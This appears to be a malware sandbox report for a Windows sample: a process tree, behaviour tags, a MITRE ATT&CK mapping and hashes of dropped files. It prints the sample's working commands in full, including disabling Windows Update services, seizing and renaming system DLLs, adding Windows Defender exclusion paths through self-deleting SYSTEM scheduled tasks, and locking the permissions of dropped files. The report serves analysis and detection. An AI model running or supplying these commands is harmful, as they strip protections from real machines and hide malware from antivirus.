    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3804
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:2084
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2972
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:1556
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5064
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:2052
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:3312
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4884
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2128
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:2524
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:4384
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:5616
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1772
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:2312
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:4648
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3012
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3168
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4208
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3996
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5844
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6012
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3328
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4996
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1636
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:6052
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:4156
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:3736
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2904
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4792
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1076
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3220
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:4744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4128
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\bxDu7C.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5880
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\bxDu7C.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4976
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\bxDu7C.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2008
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\bxDu7C.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4132
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\bxDu7C.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\bxDu7C.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3292
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2824
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:6044
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5632
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4656
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4936
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4536
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4956
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3848
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5324
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4220
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1448
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1416
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1716
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5068
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4788
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4636
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4932
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1116
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1456
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\R9AvHG\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\R9AvHG\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3364
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4552
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:708
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5664
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4528

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XQWyvF" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\XQWyvF" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2744

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1584

C:\Users\Public\XQWyvF\bDrDLj.exe
"C:\Users\Public\XQWyvF\bDrDLj.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2280

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1756
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4284

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2016

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3500

C:\Program Files (x86)\R9AvHG\bxDu7C.exe
"C:\Program Files (x86)\R9AvHG\bxDu7C.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:852

C:\Program Files (x86)\R9AvHG\bxDu7C.exe
"C:\Program Files (x86)\R9AvHG\bxDu7C.exe"
1⤵
- Executes dropped EXE
PID:1828

C:\Program Files (x86)\9Wqu718\pBGv1U88n.exe
"C:\Program Files (x86)\9Wqu718\pBGv1U88n.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4756

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2712
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:2068

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3240
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:3824

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2784
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:4572

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5772
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\9Wqu718\XPSPLOG.dll
Size 4.6MB
SHA256 55fb9746e39938603918922912e82a7ea99be933564ad0f68d55e59af38dd9ba
MD5 4fd9c990f9569d840f09820f1ee7acb5
SHA1 a7c386a5a15bf7253ae6b5a48836bf21a0983044
SHA512 91e177e138d5f13d3603bf4eff55b7074674fa3f8cba576d8c93210e9cd9b1c40ab684b9ca8241e0b82cd785650beb61ff8564fde9b8170fc154840370323f2c
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyw:BMWKfU+BcUTHCCCfqCiUffnw
TLSH
T133263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\9Wqu718\image.png
Size 4.8MB
SHA256 bc3ffdeaf3e1160ea1ce569782539a2a6e7bf8416aeeb1ff618aec1be631be61
MD5 01ac9e4a434223ad68e557360fa31c76
SHA1 ead4fcbeaf6173ddc0c26882526a64dcf8ff3f75
SHA512 03043be455654f73f2a0a01b1babab6dc3ae583d9c3d9d091ad30961accca35074242aa23c2109678300482d2ab7103c1edd3c7a139bc17c09ff0f3cbbeb9914
SSDEEP 98304:Y/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:YMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1EA36334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\R9AvHG\XPSPLOG.dll
Size 4.6MB
SHA256 c014a496c569b8e12f03d03e02e314d5ee8496c221a834fcfb1ca487ba3f57de
MD5 4aefa1f0b6e70662b73512932091163f
SHA1 0d38da63030d7df86fcaac7f07aee6e3287461b4
SHA512 f627f83f4f67abc1598dfd3662cba45cf13ce7ec98ef01d2fe375a3232aeb72274d8958766c3ff5a36f438bb3b08ae8dfe3e697730a596b3f4314adad01dca20
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyb:BMWKfU+BcUTHCCCfqCiUffnb
TLSH
T190263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bxDu7C.exe

Path C:\Program Files (x86)\R9AvHG\bxDu7C.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\R9AvHG\image.png
Size 4.8MB
SHA256 0e0c267d375be2d5431fb319b4f7950466801ee072b33697cbab8c599a154220
MD5 562ee852ddebaa67a4f3dc38272680cc
SHA1 34c46a940651747fb4222685a59d03b7d262485c
SHA512 03eb3b056beeac5475571135dab0294fb02f6c288a787c99dbc359bcaa5eb34ffbc6e682515fca2d7de6ba4eebbf41427fa4a24644cd71c1a6eed536c48e650a
SSDEEP 98304:w/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:wMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T18F36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\R9AvHG\thumbs.db
Size 358KB
SHA256 d122f2ca0f5c113960561adc0f933a68d6263bf4340b592f229a5c0843143771
MD5 256f562a4c95fbed435079a3a32b1322
SHA1 55ddf253bfdfe2c453396552514c3029c5fc4dbc
SHA512 c3dd4027b3c242f91a03a747af4b639b62f790b4bfe1e6ac465609253a5925dbf126bd51842486fa8e097247ade9e56d266d94de91ea3140db75211f13109b27
SSDEEP 6144:IiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:/8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T17574F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
MD5 655b068972cbfdfb12ef8b24c145eab7
SHA1 1773a64a43e57d52d9046d90de641cf5fc5e6925
SHA512 87b8a3ab847425bb4d23024590a26b7556a2cb0d78ffe5bf4ed77e0d45e97fb6d0f731c6a1f8f342e7970588007738cf5e281e3968033bf9b5d792fc92527b0c
TLSH
T16F3174BB6F6C38929F3F8E4411CAB1212CA5A2805CD5099A6254C0A88B443F26F4D90C
MD5 SHA1 SHA512 TLSH

